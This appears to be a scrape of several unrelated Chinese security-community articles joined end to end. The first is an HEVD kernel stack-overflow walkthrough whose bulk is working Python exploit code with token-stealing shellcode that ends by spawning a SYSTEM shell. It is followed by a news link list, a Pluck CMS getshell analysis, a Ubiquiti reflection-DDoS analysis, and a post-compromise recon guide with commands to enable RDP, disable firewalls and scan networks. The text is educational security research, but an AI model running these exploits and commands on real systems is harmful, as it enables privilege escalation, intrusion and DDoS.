非常感谢这些博客作者，没有您的帮助，我无法完成前两个漏洞。
## 目标
我们的目标是在Win7 x86和Win7 x86-64上完成针对HEVD栈溢出漏洞的攻击。我们将紧跟上篇博客文章，大多数内容将不会重新介绍。
我们将使用与上一篇文章相同的方法，并进行一些更改，这些更改将是：
> * 这次使用`VirtualAlloc`代替`VirtualProtect`，
> * 我们需要在某些地方修改脚本以使用64位的寄存器，
> * @ abatchy17提供的新的tpken-stealing shellcodef方法，
> * 新的内核执行恢复shellcode方法
> * 一种新的`ctypes`库
>
让我们开始吧。
## 使64位系统Crash
* * *
为了进入函数`TriggerStackOverflow`，我们将再次使用值为`0x222003`的IOCTL，并且`CreateFileA`
API看起来完全相同，将再次向设备的驱动程序返回一个句柄。我们使用该句柄调用`DeviceIoControl`API，发送一个较大的缓冲区来使系统崩溃。
为了创建缓冲区，我们将使用`ctypes`库中`create_string_buffer`函数，该功能是我从@sizzop博客文章中学到的。（在上一篇文章中，我们主要侧重@r0otki7的文章，在这篇文章中，我主要侧重@sizzop的。）
与上次一样，我们将首先发送一个3,000个字节的`"A"`字符到缓冲区，然后系统会崩溃。我们的代码如下所示：
import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time
kernel32 = windll.kernel32
hevd = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000,
0,
None,
0x3,
0,
None)
if (not hevd) or (hevd == -1):
print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
sys.exit(1)
else:
print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
buf = create_string_buffer("A"*3000)
result = kernel32.DeviceIoControl(
hevd,
0x222003,
addressof(buf),
(len(buf)-1),
None,
0,
byref(c_ulong()),
None
)
if result != 0:
print("[*] Sending payload to driver...")
else:
print("[!] Unable to send payload to driver.")
sys.exit(1)
这里的一个棘手的事情是，创建`create_string_buffer`时，您的缓冲区为`null`终止。它表示比我们发送的长度长了一个字节,
是3001字节长。由于这个原因，在`DeviceIoControl`中，我们从要发送的缓冲区长度中减去了一个字节长度。（感谢HEVD开发人员调试语句，这些语句包含了用户缓冲区的长度！）
受害者的机器运行此命会崩溃。
您可以看到，当程序执行到`TriggerStackOverflow`函数的断点并逐步执行时，我们要进行`ret`操作。因此，我在WinDBG中使用`k`命令查看了堆栈得到返回的地址，可以看到堆栈中充满了我们的`As`。
由于`0x4141414141414141`不是有效的地址，所以在这里肯定会崩溃。
正如您所见，系统崩溃了。我们不仅将一堆值写入堆栈，而且显然会覆盖其他寄存器中的值。我们在这里控制了很多寄存器，这在内核中可能是一件坏事，因为我们要非常具体地确定内存损坏的地址。这些就留给你们去找出需要控制`ret地址`的偏移量。
## 开始漏洞利用
好，现在我们接着做上次的工作。让我们发送指定长度的字符到缓冲区，逐步执行该函数，并查看从`TriggerStackOverflow`返回后执行的指令。在不溢出缓冲区的情况下，我们将遵循以下执行路径：
如您所见，当我们退出`TriggerStackOverflow`并重新输入`StackOverflowIoctlHandler`时，我们执行：
> * add `rsp`，`0x28`
>
> * `ret`
>
>
我们的shellcode将需要模拟这些命令，以使我们能够按预期恢复执行并且不会崩溃。 总而言之，我们的执行路径如下所示：
**无溢出**
`StackOverflowIoctlHandler` –> `TriggerStackOverflow` –>`ret`
到`StackOverflowIoctlHandler`，然后`add rsp,
0x28`，然后`ret`到->`IrpDeviceIoCtlHandler`.
**有溢出**
`StackOverflowIoctlHandler` –> `TriggerStackOverflow` –>`ret`到shellcode，然后`add
rsp, 0x28`，然后`ret`到–> `IrpDeviceIoCtlHandler`
我们要做的只是将Shellcode替换为`StackOverflowIoctlHandler`的末尾，然后在shellcode的末尾运行该函数的命令以恢复执行。
让我们在脚本中添加一些shellcode，使用`VirtualAlloc`将其标记为RWX权限，然后发送一些`NOPs`占位指令。
另外，您会在此处看到覆盖`ret`地址的偏移量是`2056`。
现在，我们的漏洞利用代码如下所示：
import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time
kernel32 = windll.kernel32
hevd = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000,
0,
None,
0x3,
0,
None)
if (not hevd) or (hevd == -1):
print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
sys.exit(1)
else:
print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
shellcode1 = (
"\x90" * 100
)
restoration_stub = (
"\x48\x83\xc4\x28" # add rsp,0x28
"\xc3" # ret
)
shellcode = shellcode1 + restoration_stub
addr = kernel32.VirtualAlloc(
c_int64(0),
c_int(len(shellcode)),
c_int(0x3000),
c_int(0x40)
)
if not addr:
print("[!] Error allocating shellcode RWX buffer")
else:
print("[*] Allocated RWX buffer for shellcode @ {}").format(str(hex(addr)))
memmove(addr,shellcode,len(shellcode))
addr = struct.pack("<Q", addr)
buf = create_string_buffer("A"*2048 + "B"*8 + addr)
result = kernel32.DeviceIoControl(
hevd,
0x222003,
addressof(buf),
(len(buf)-1),
None,
0,
byref(c_ulong()),
None
)
if result != 0:
print("[*] Sending payload to driver...")
else:
print("[!] Unable to send payload to driver.")
sys.exit(1)
这里有一些细节需要解释。我们在这里使用`ctypes`库中`memmove`函数将shellcode移到我们使用`VirtualAlloc`创建的RWX缓冲区中。有关`memmove`的信息您可以阅读[这里](https://docs.python.org/2/library/ctypes.html)
另一个需要强调的事情是，为了正确格式化指向我们的shellcode缓冲区的指针，我们必须使用`struct.pack("<Q",addr)`，它将struct的指针格式化为C中的`unsigned
long long`类型变量和Python中的8字节int类型变量。
有关`struct.pack`的所有不同类型的转换，您可以阅读[这里](https://docs.python.org/2/library/struct.html)
因为我们恢复了程序执行，并且只使用了NOPs，因此这应该毫无问题！
糟糕！我们的程序实际停止运行在`IrpDeviceIoCtlHandler`中。虽然我们定义了shellcode，但卡死在了这步操作：
正如您所见，我们正在执行`and qword ptr [rdi +
38h]`。在那里停止运行的原因，是因为我们发送的B字符覆盖了`rdi`，而`0x4242424242424242`加`0x38`不是有效的内存空间，因此这个运行崩溃了。退出shellcode时，`RDI`不能保持`0x4242424242424242`。我们必须将其恢复到损坏之前的状态。
## 还原`RDI`寄存器，实现漏洞利用
* * *
我知道的将RDI恢复到它原来状态的唯一方法是，查看我们何时运行漏洞利用程序而没有溢出，在输入`Shellcode`之前，RDI与另一个寄存器之间的偏移量是多少。
因此，我们必须再次回到非溢出缓冲区的大小，然后看看`ret`退出`TriggerStackOverflow`时的寄存器值是多少。
在该`ret`上设置一个断点并运行到达那里，我们可以像这样dump寄存器的值：
我们看到有这些寄存器值：
rax=0000000000000000 rbx=fffffa80062e06a0 rcx=fffff88004f7efe0
rdx=0000077ffd394e20 rsi=fffffa8005539d10 rdi=fffffa80062e05d0
rip=fffff880038815f4 rsp=fffff88004f7f7e8 rbp=0000000000000001
r8=0000000000000000 r9=0000000000000000 r10=4141414141414141
r11=fffff88004f7f7e0 r12=fffffa8005b77370 r13=0000000000000000
r14=fffffa80062e06e8 r15=0000000000000003
`RDI`寄存器，与RBX的偏移量为`d0`（RBX-RDI =`0xd0`）。
因此，我们可以做的是，在我们的Shellcode还原占位指令中，可以将`RBX`加载到`RDI`中，然后从`RDI`中减去`0xd0`，我们会得到正确的值。
让我们尝试一次不会崩溃的完整运行，我们更新的漏洞利用代码如下所示：
import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time
kernel32 = windll.kernel32
hevd = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000,
0,
None,
0x3,
0,
None)
if (not hevd) or (hevd == -1):
print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
sys.exit(1)
else:
print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
shellcode1 = (
"\x90" * 100
)
restoration_stub = (
"\x48\x83\xc4\x28" # add rsp,0x28
"\x48\x89\xDF" # mov rdi,rbx
"\x48\x81\xEF\xD0\x00\x00\x00" # sub rdi,0xd0
"\xc3" # ret
)
shellcode = shellcode1 + restoration_stub
addr = kernel32.VirtualAlloc(
c_int64(0),
c_int(len(shellcode)),
c_int(0x3000),
c_int(0x40)
)
if not addr:
print("[!] Error allocating shellcode RWX buffer")
else:
print("[*] Allocated RWX buffer for shellcode @ {}").format(str(hex(addr)))
memmove(addr,shellcode,len(shellcode))
addr = struct.pack("<Q", addr)
buf = create_string_buffer("A"*2048 + "B"*8 + addr)
result = kernel32.DeviceIoControl(
hevd,
0x222003,
addressof(buf),
(len(buf)-1),
None,
0,
byref(c_ulong()),
None
)
if result != 0:
print("[*] Sending payload to driver...")
else:
print("[!] Unable to send payload to driver.")
sys.exit(1)
运行此漏洞利用代码可以正常执行，并且不会使内核崩溃！
现在剩下要做的就是添加一些实际的shellcode。 我使用了x64 shellcode，参考[@abatchy17’s blog on the
token-stealing payloads he was using](https://www.abatchy.com/2018/01/kernel-exploitation-2)
但是我也修改了它们，以便将所有使用过的寄存器首先压入堆栈以保留它们的值，然后将它们回弹到shellcode的末尾使它们还原。
最终的shellcode是：
shellcode1 = (
"\x50\x51\x41\x53\x52\x48\x31\xC0\x65\x48\x8B\x80\x88\x01\x00\x00"
"\x48\x8B\x40\x70\x48\x89\xC1\x49\x89\xCB\x49\x83\xE3\x07\xBA\x04"
"\x00\x00\x00\x48\x8B\x80\x88\x01\x00\x00\x48\x2D\x88\x01\x00\x00"
"\x48\x39\x90\x80\x01\x00\x00\x75\xEA\x48\x8B\x90\x08\x02\x00\x00"
"\x48\x83\xE2\xF0\x4C\x09\xDA\x48\x89\x91\x08\x02\x00\x00\x5A\x41"
"\x5B\x59\x58"
)
restoration_stub = (
"\x48\x83\xc4\x28" # add rsp,0x28
"\x48\x89\xDF" # mov rdi,rbx
"\x48\x81\xEF\xD0\x00\x00\x00" # sub rdi,0xd0
"\xc3" # ret
)
我将让读者来梳理那里的工作来作为这次练习的目的。请阅读Abatchy的博客，那是一个很好的资源。
运行最终漏洞利用代码，我们可以拿到期望的权限。
最终利用代码如下：
import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time
kernel32 = windll.kernel32
hevd = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000,
0,
None,
0x3,
0,
None)
if (not hevd) or (hevd == -1):
print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
sys.exit(1)
else:
print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
shellcode1 = (
"\x50\x51\x41\x53\x52\x48\x31\xC0\x65\x48\x8B\x80\x88\x01\x00\x00"
"\x48\x8B\x40\x70\x48\x89\xC1\x49\x89\xCB\x49\x83\xE3\x07\xBA\x04"
"\x00\x00\x00\x48\x8B\x80\x88\x01\x00\x00\x48\x2D\x88\x01\x00\x00"
"\x48\x39\x90\x80\x01\x00\x00\x75\xEA\x48\x8B\x90\x08\x02\x00\x00"
"\x48\x83\xE2\xF0\x4C\x09\xDA\x48\x89\x91\x08\x02\x00\x00\x5A\x41"
"\x5B\x59\x58"
)
restoration_stub = (
"\x48\x83\xc4\x28" # add rsp,0x28
"\x48\x89\xDF" # mov rdi,rbx
"\x48\x81\xEF\xD0\x00\x00\x00" # sub rdi,0xd0
"\xc3" # ret
)
shellcode = shellcode1 + restoration_stub
addr = kernel32.VirtualAlloc(
c_int64(0),
c_int(len(shellcode)),
c_int(0x3000),
c_int(0x40)
)
if not addr:
print("[!] Error allocating shellcode RWX buffer")
else:
print("[*] Allocated RWX buffer for shellcode @ {}").format(str(hex(addr)))
memmove(addr,shellcode,len(shellcode))
addr = struct.pack("<Q", addr)
buf = create_string_buffer("A"*2048 + "B"*8 + addr)
result = kernel32.DeviceIoControl(
hevd,
0x222003,
addressof(buf),
(len(buf)-1),
None,
0,
byref(c_ulong()),
None
)
if result != 0:
print("[*] Sending payload to driver...")
else:
print("[!] Unable to send payload to driver.")
sys.exit(1)
print("[*] Spawning CMD shell with nt authority\system privs.")
Popen("start cmd", shell=True)
## 结尾
* * *
实际上，这花了我很长时间才能弄清楚。
在所有演练中我都没有遇到过到过`RDI`的问题，因此这对我来说是一个很好的机会自食其力、探索和使用WinDBG的绝佳机会。非常感谢所有精彩的博客文章，非常感谢各位作者。 | 社区文章 |
# 【知识】11月26日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：Imgur在2014年被黑，140万账户密码泄漏、看我7分钟黑掉40个网站、 WordPress
Pingback反射DDoS攻击、加密货币攻击之比特币、Guacamole：支持VPN、RDP、SSH等协议的远控浏览器、使用Polyhedra访问内存的二进制代码的抽象理解。**
**资讯类：**
Imgur在2014年被黑，140万账户密码泄漏
<http://securityaffairs.co/wordpress/65991/data-breach/imgur-2014-data-breach.html>
**技术类：**
看我7分钟黑掉40个网站
<https://hackernoon.com/how-i-hacked-40-websites-in-7-minutes-5b4c28bc8824>
FecVPN：针对丢包环境设计的VPN
<https://github.com/wangyu-/tinyFecVPN>
WordPress Pingback反射DDoS攻击
<http://josephfoulds.com/mitigating-wordpress-pingback-reflective-ddos-attacks/>
老司机的赏金计划指南
<https://blog.securitybreached.org/2017/11/25/guide-to-basic-recon-for-bugbounty/>
轻松图解Linux
<https://jvns.ca/linux-comics-zine.pdf>
Tempestsdr：新的SDR工具
<https://www.rtl-sdr.com/tempestsdr-a-sdr-tool-for-eavesdropping-on-computer-screens-via-unintentionally-radiated-rf/>
Guacamole：支持VPN、RDP、SSH等协议的远控浏览器
<https://guacamole.apache.org>
加密货币攻击之比特币
<https://btc-hijack.ethz.ch>
Exim中的RCE漏洞
[http://seclists.org/oss-sec/2017/q4/326](http://seclists.org/oss-sec/2017/q4/326?utm_source=dlvr.it&utm_medium=twitter)
使用Polyhedra访问内存的二进制代码的抽象理解
<https://arxiv.org/pdf/1711.07257.pdf>
会话重放脚本与个人数据安全
<https://freedom-to-tinker.com/2017/11/15/no-boundaries-exfiltration-of-personal-data-by-session-replay-scripts/>
BH中的Windows本地漏洞演讲Python利用库更新
<https://theevilbit.blogspot.ae/2017/11/kex-python-kernel-exploit-library-major.html>
<https://github.com/theevilbit/kex/>
俄美之间的欺诈游戏
<https://medium.com/dfrlab/how-a-russian-troll-fooled-america-80452a4806d1>
投影仪与安全防护
<https://www.pentestpartners.com/security-blog/hacking-your-office-through-your-screen-caster/> | 社区文章 |
# 0x01 漏洞描述
影响版本：Pluck CMS Pluck CMS <=4.7.10
官网地址：<http://www.pluck-cms.org/?file=home>
源码下载:<https://github.com/pluck-cms/pluck/releases>
# 0x02 漏洞分析
目前最新版本为4.7.10，个人测试github上最旧的4.7.2版本仍然存在该漏洞，框架本身语言选择模块数据注入导致的文件包含漏洞，官方更新版本并没有对这部分代码进行修改，可以认为是全版本通用的。该漏洞是在复现"我怎么这么帅"在先知发表的《Pluck
CMS 4.7.10远程代码执行漏洞分析》之余审计其他代码发现的，在此致谢。
**v4.7.1分析**
从入口文件admin.php查看:
查看language.php,满足指定的文件存在，并传入的cont1参数和原本设置的$langpref参数不等，进入save_language($cont1)。
调用save_file方法。
由于只有一个数据，直接182写入php文件。
至此，langpref的值变成可控值，这个值对应的文件，用于控制网站的语言选择，会自动被全局php文件包含。可以包含上传功能点上传的图种文件解析其中的一句话导致getshell。文件上传功能点使用白名单，但是没有进行重命名，所以路径可以简单猜解。
# 0x03 漏洞复现
文件上传一个可以写一句话木马的php图种。
上述参数保存于php文件：
\data\settings\langpref.php
由于该参数是网站语言控制的php文件，访问任意网页，包含langpref对应的文件。
访问生成的php一句话木马。 | 社区文章 |
**作者：百度安全实验室
原文链接：<https://mp.weixin.qq.com/s/XjzudJNIDEEa4zmOHE7-OQ>**
## **0x00概述**
Ubiquiti（优倍快）网络公司生产的网络设备在全球有较广泛的部署。2019年2月某安全团队披露了基于Ubiquiti设备的AP发现服务实施的反射DDoS攻击，攻击发生在2018年7月，这是最早被爆出该公司网络设备可被利用作为DDoS的反射放大器的案例。
攻击披露后，Ubiquiti网络公司即时发布了漏洞补丁，并提醒用户升级更新。但近几年来该公司的网络设备一直被黑客频繁利用发起DDoS反射放大攻击。百度安全智云盾团队在对抗DDoS攻击中也经常拦截到此类反射攻击流量。
## **0x01 攻击态势**
**1）攻击趋势**
智云盾团队持续关注Ubiquiti反射攻击态势，多次针对这类攻击进行过跟踪分析。在2020年监测到4301次Ubiquiti反射攻击，并在去年十月达到顶峰。虽然Ubiquiti公司发布过补丁修复，但是从智云盾监测到的攻击趋势来看，公网上仍然存在大量的未实施修复的设备。
图1 Ubituiti反射攻击态势
**2）首次攻击**
2019年2月安全研究人员Troutman披露黑客自2018年7月开始利用Ubiquiti公司设备上的AP发现服务进行DDoS反射放大攻击活动，Troutman表示黑客向Ubiquiti设备上开放UDP
10001端口的AP发现服务发送56字节的小数据包，设备立即回复206字节的数据包。之后另一安全研究人员Jon
Hart表示，这类服务的放大倍数可以提高到30-35倍。
Ubiquiti网络公司官方在关注到这些攻击后确认了这一问题，并临时提供了两个解决方案：
1、非必要，禁用UDP 10001上的AP发现服务；
2、如果必须使用AP发现服务，开启仅限内部网络使用的ACL策略。之后官方第一时间发布新版本，用于增强该服务器的安全性。
攻击首次披露后，Ubiquiti网络公司统计共有485,000个设备向公网开放了UDP 10001端口，攻击资源分布在全球各地。
## **0x02 技术分析**
智云盾系统跟踪这类攻击时，自动对流量进行采样，安全专家及时介入对采样包进行深层次分析和演练。
**1）攻击分析**
通过对智云盾的攻击采样包发现，反射流量的来源端口是10001端口，下图红色箭头指向的是反射源端口
图2 采样包内攻击来源端口
数据包中的payload明显为某类设备名称和版本，通过搜索分析，我们确定了这是Ubiquiti公司的设备和版本信息，采样包中UDP携带的payload如下图所示：
图3 采样包内UDP携带的payload
查询Ubiquiti公司官网可知，他们在UDP10001上使用发现服务协议。这个协议格式与SSDP设备发现服务不同，没有固定格式，为此我们将此类反射攻击命名为UbiquitiDP
Reflection，中文简称为Ubiquiti反射攻击。
我们提取数据包中的设备名进行统计分析，分析发现有87%的设备名为Ubiquiti公司标准名称，并能在公司的官网检索到，但是有13%的数据包payload带有HACKED（被黑）字样，很明显这些设备名已经被黑客恶意修改。
图4 设备名称
我们对含有HACKED的数据进行统计分析发现，分析发现每个名称均以HACKED-ROUTER-HELP-SOS开头，剩余字段有WAS-MFWORM-INFECTED、HAD、VULN-EDB-39710、FTP这四类，其中WAS-MFWORM-INFECTED占比67%，MFWORM表明这个设备已经被MF蠕虫感染，我们查询MF蠕虫披露的资料很少。少部分设备包含FTP字样，我们主动探测这些IP的FTP服务发现均关闭，我们推测这些服务器最早可能被黑客利用作为FTP服务。
图5 恶意修改主机名的设备
**2）Ubiquiti服务缺陷**
造成此次攻击的是Ubiquiti公司设备自带的AP发现服务，该服务使用UDP传输数据，绑定在设备10001端口，响应任何UDP包。
该服务在设计之初便没有按照UDP协议的安全规范实现，一方面开放到公网的UDP服务应当避免请求与响应存在倍率，另一方面UDP服务本身应对客户端进行校验。黑客向设备发送一个构造的UDP最小包，该服务便会返回一个或多个UDP大包，请求与响应相差数倍。
**3）攻击模拟**
我们在攻击模拟的过程中发现，大多数反射源在收到单个请求时只回复一个响应包，但是有少数反射源在收到单个请求后，会响应海量的UDP大包，每个数据包长固定。我们分别对这两类反射源进行分析，结果如下：
A单包反射
安全专家对该事件深入分析，同时从智云盾威胁中心提取到的请求流量进行对比，并完成攻击场景模拟，模拟过程中抓包如下：
图6 模拟攻击
图6中模拟发送了载荷长为4字节的UDP小包向反射源传输无验证数据，反射源返回载荷长为512字节的数据包，返回的UDP大包payload包含了Ubiquiti公司的设备信息。
B海量包反射
我们在选取反射源发起请求时，发现有少数IP地址在发送任意内容的UDP请求后，会响应超量的UDP大包，最多的一个反射源响应了3510个UDP大包。
我们向其中一个反射源发送一个空载荷的请求包，并抓包分析，下图展示了发包过程：
图7 模拟攻击
图8
抓包显示
服务器共响应3510个UDP大包（去掉一个请求包），每个数据包长度固定为1370字节，下图展示了我们发送的空请求与服务器的响应。
图9 返回超量UDP大包
在测试过程中，我们分别发送空请求、小包和大包UDP请求到反射源，每次均收到海量的UDP大包。这些反射源对任何UDP请求均会响应大量的数据包，危害较大。
我们在单包反射中发送一个请求载荷为4字节的数据包，收到一个载荷长512字节的响应包。在海量包反射中发送一个0字节的数据包，收到总共3510个载荷长为1328字节的海量数据包。在智云盾系统监测到具备响应超量UDP大包的IP共计127个。截止到目前，这些IP仍然可以响应海量UDP大包。
## **0x03 放大倍数**
按照我们前期对反射放大倍数的研究，采用科学的统计放大倍数时，请求响应的包头甚至网络间隙都要考虑在内。详细的方案可以参阅[《Memcached
DRDoS攻击趋势》](https://mp.weixin.qq.com/s?__biz=MzA3NTQ3ODI0NA==&mid=2247484470&idx=1&sn=a56e708ffb274f24bb6f5e623d280683&chksm=9f6ea1bda81928ab52e74333ff1ea4c38f0d4772dcb4ae561c5dea328352dd0d66b69023e400&scene=21"
\\l "wechat_redirect#wechat_redirect)一文。
科学的计算方式还应该考虑每包的网络间隙20字节，没有包括FCS字段的4个字节，另外数据包小于60字节会被自动填充到60字节。
协议头和网络帧间隙计算为：14（以太头）+20（IP头）+8（UDP头）+4（FCS头）+20（帧间隙）=66字节。
单包反射中计算得到的放大倍数为（512+66）/（60+20+4）=6.88倍。
海量包反射计算得到的放大倍数为（1328+66）*3510 / （60+20+4）= 58249.29倍。
如果按照传统方式（攻击载荷之比）计算海量包反射的放大倍数：1328*3510 / 0（空请求）= ∞，那么得到的结果为无穷大，可见这个计算方式存在理论缺陷。
## **0x04 全网数据**
**1）Ubiquiti公司介绍**
Ubiquiti公司主要在全球范围内设计、制造和销售创新性的网络设备。主品涵盖了无线设备，安全网关，交换机，远程管理控制器和摄像机这五种设备。目前Ubiquiti公司的产品部署在全球超过180个国家和地区。
Ubiquiti公司的设备在10001端口会开启AP发现服务，该服务采用UDP传输数据，并且支持客户端采用组播或者单播的请求方式进行数据交互。
**2）反射源**
智云盾共捕获到的反射源达到39002个。通过对反射源IP进行调查发现。反射源分布在全球82个国家和地区，其中42%的反射源分布在美国。验证发现这些设备都为Ubiquiti公司的设备并且10001端口对公网UDP请求数据包都响应，TOP10地区分布如下图：
图10 反射源分布地区TOP10
从zoomeye上对全球10001端口进行检索发现，全球约有百万台公网设备主动暴露了10001端口。这些设备都将可被用作反射源进行攻击，如下图所示：
图11 zoomeye全球数据
我们在zoomeye上查询被攻击者恶意修改主机名的数据发现，共计8W多Ubiquiti设备被恶意修改了主机名。
图12 被恶意破坏主机名的设备
## **0x05 防范建议**
此次攻击是黑客利用固定设备厂商的UDP服务缺陷发起的DDoS反射放大攻击。反射攻击相比较传统的洪泛攻击具有更好的隐蔽性，并且流量更大的特点。从我们近期对新型攻击的监测发现，黑客在寻找新的攻击方式上不再拘泥于传统公共服务，而是对暴露在公网，并且具备一定规模的UDP服务都尝试利用作为反射源。
针对此次攻击行为我们建议相关厂商参考下面方式提升防护能力。
**对Ubiquiti公司：**
10001的AP发现服务应该限制请求响应字节数比例为1:1
**对使用Ubiquiti公司设备的企业用户：**
1.在设备或者上层交换机配置策略，限制非本网段的UDP包请求10001端口.
2.遵循Ubiquiti的建议，禁止使用AP发现服务
3.如果必须使用AP发现服务，升级开放10001端口的AP发现服务为最新版
## 0x06 智云盾团队介绍
智云盾防护系统基于百度安全成熟的防御技术，为数据中心建设安全基础设施。具备本地快速检测和防御DDoS，同时能自动化拓展T级云防。并集成一系列百度安全能力，在提高数据中心防御DDoS基础上，具备完善的安全威胁检测和防御能力。
* * * | 社区文章 |
## 文章前言
在渗透测试中信息收集的深度与广度以及对关键信息的提取，直接或间接的决定了渗透测试的质量，本篇文章主要对内网中信息收集做一个简单的归纳以及介绍
## 主机信息
在内网渗透测试中，当我们拿下一台或多台可控的主机(大多数情况下都是边界主机)时，我们首先要对当前主机的信息进行简易收集，常见的信息包括以下几个方面：
### 网络配置
通过执行以下命令查看当前机器是否处于内网，以及内网网段是多少，以及DNS地址、域名信息等等：
ipconfig /all
### 操作系统
通过执行以下命令来查看操作系统版本信息：
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
如果目标主机是英文版本可以使用以下命令来查看主机系统信息：
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
### 软件信息
通过执行以下命令来查看目标主机上安装的第三方应用有哪些，可以作为后续渗透测试以及漏洞利用点：
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
### 服务信息
通过执行以下命令来获取本机服务信息，查看是否有可以可以进行深入利用的点：
wmic service list brief
### 查毒软件
通过执行以下命令来查看目标主机上安装的杀毒软件有哪些：
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
### 开3389
首先，我们需要确定远程连接的端口(一般是3389)，在cmd下使用注册表查询语句，命令如下，得到连接端口为0xd3d，转换后为3389，如下图所示：
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
在 Windows Server 2003 中开启 3389 端口：
首先，查看开启的端口——没有开启3389端口
执行语句：
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
执行结果：
成功开启3389端口：
在 Windows Server 2008 和 Windows Server 2012 中开启 3389 端口
查看当前开发端口———未开放3389端口
之后执行如下命令来开启3389端口——管理员权限执行否则会报错
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
之后成功开启3389端口：
### 计划任务
通过执行以下命令来查看目标主机上的计划任务信息：
schtasks /query /fo LIST /v
### 用户列表
执行如下命令，查看本机用户列表，通过分析本机用户列表，可以找出内部网络机器名的命名规则，特别是个人机器，可以推测出整个域的用户命名方式：
net user
执行如下命令，获取本地管理员(通常含有域用户)信息：
net localgroup administrators
执行如下命令，可以查看当前在线用户信息：
query user || qwinsta
### 端口信息
查看端口列表、本机开放的端口所对应的服务和应用程序：
netstat –ano
### 补丁信息
查看系统的详细信息，需要注意系统的版本、位数、域、补丁信息及跟新频率等，一般域内主机的补丁都是批量安装的，通过查看本地计算机补丁列表，可以找到未打补丁的漏洞，当前更新了2个补，如下图所示：
也可以使用wmic来查看补丁信息：
wmic qfe get Caption,Description,HotFixID,InstalledOn
### 查防火墙
通过执行以下命令来查看防火墙的配置信息：
netsh firewall show config
我们也可以通过以下命令来关闭防火墙：
Windows server 2003系统及以前版本，命令如下：
netsh firewall set opmode disable
Windows server 2003之后系统版本，命令如下：
netsh advfirewall set allprofiles state off
## 是否有域
搜集完本机相关信息后，接下来，就要判断当前内网是否有域，如果有，需要判断所控主机是否在域内，下面介绍几种方法 ：
### ipconfig
使用ipconfig /all命令可以查看网关IP地址、DNS的IP地址以及判断当前主机是否在域内：
ipconfig /all
从上面我们可以看到域名信息以及DNS的地址信息，之后我们可以通过反向解析查询命令nslookup来解析域名的IP地址，使用解析出来的IP地址进行对比，判断域控制器和DNS服务器是否在同一台服务器上，如下图所示
从而判断DNS域域控位于同一台服务器上(一般的配置大多数都是这样，也可以通过这种方法来查找域控)
### 登录域信息
执行如下命令，结果如下图所示，工作站域DNS名称显示域名(如果显示为WORKGROUP，则表示非域环境)，登录域表明当前用户是域用户登录还是本地用户登录，此处表明当前用户是域用户登录：
net config workstation
## 域内信息
下面简单的介绍几种域内信息的收集方法
### ICMP探测内网
我们可以使用ICMP协议来探测内网信息：
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.174.%I | findstr "TTL="
### ARP探测内网
同时我们可以使用MSF框架中的模块来探测内网信息：
msf > use auxiliary/scanner/discovery/arp_sweep
msf > show options
msf > set interface eth0
msf > set smac 00:0c:29:92:fd:85
msf > set rhosts 192.168.174.1/24
msf > set threads 20
msf > set shost 192.168.174.131 (伪造源ip)
msf > run
### TCP/UDP协议
ScanLine是一款经典的端口扫描工具，Windows全版本通用，体积小仅使用单个文件，同时支持对TCP/UDP的端口扫描，命令如下
scanline -h -t 22,445,3389 -u 53,161,137,139 -O c:\windows\temp\log.txt -p 192.168.174.1-254 /b
### 端口信息收集
a、MSF框架的auxiliary/scanner/portscan/tcp模块来实现端口扫描：
可以看到，Metasploit 的内置端口扫描模块能够找到系统和开放端口~
b、PowerSploit中的Invoke-Portscan.ps1脚本也可以用于进行端口扫描采集内网信息：
Invoke-Portscan -Hosts 192.168.174.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt
### 查询域信息
net view /domain
### 查询域主机
通过执行以下命令来查看当前域内有多少台主机，以及主机的主机名信息：
net view /domain:XXX
### 查询域用户
通过执行以下命令来查看域内所有用户组列表信息
net group /domain
### 查找域控
a、通过执行以下命令来查看域控
Nslookup -type=SRV _ldap._tcp
b、查看当前时间定位域控
net time /domain
c、查询域控制组定位域控
net group "Domain Controllers" /domain
### 查域用户信息
net user /domain
当然也可以使用dsquery指令：
dsquery computer ----- 寻找目录中的计算机
dsquery contact ----- 在目录中查找与指定的搜索条件相匹配的联系人
dsquery subnet ----- 寻找目录中的子网
dsquery group ----- 寻找目录中的群组
dsquery ou ----- 寻找目录中的组织单位
dsquery site ----- 寻找目录中的站点
dsquery server ----- 寻找目录中的域控制器
dsquery user ----- 寻找目录中的用户
dsquery quota ----- 寻找目录中的配额规格
dsquery partition ----- 寻找目录中的磁盘分区
dsquery * ----- 使用标准的LDAP查询在目录中寻找任何对象
dsquery server –domain Yahoo.com | dsget server–dnsname –site ---搜索域内域控制器的DNS主机名和站点名
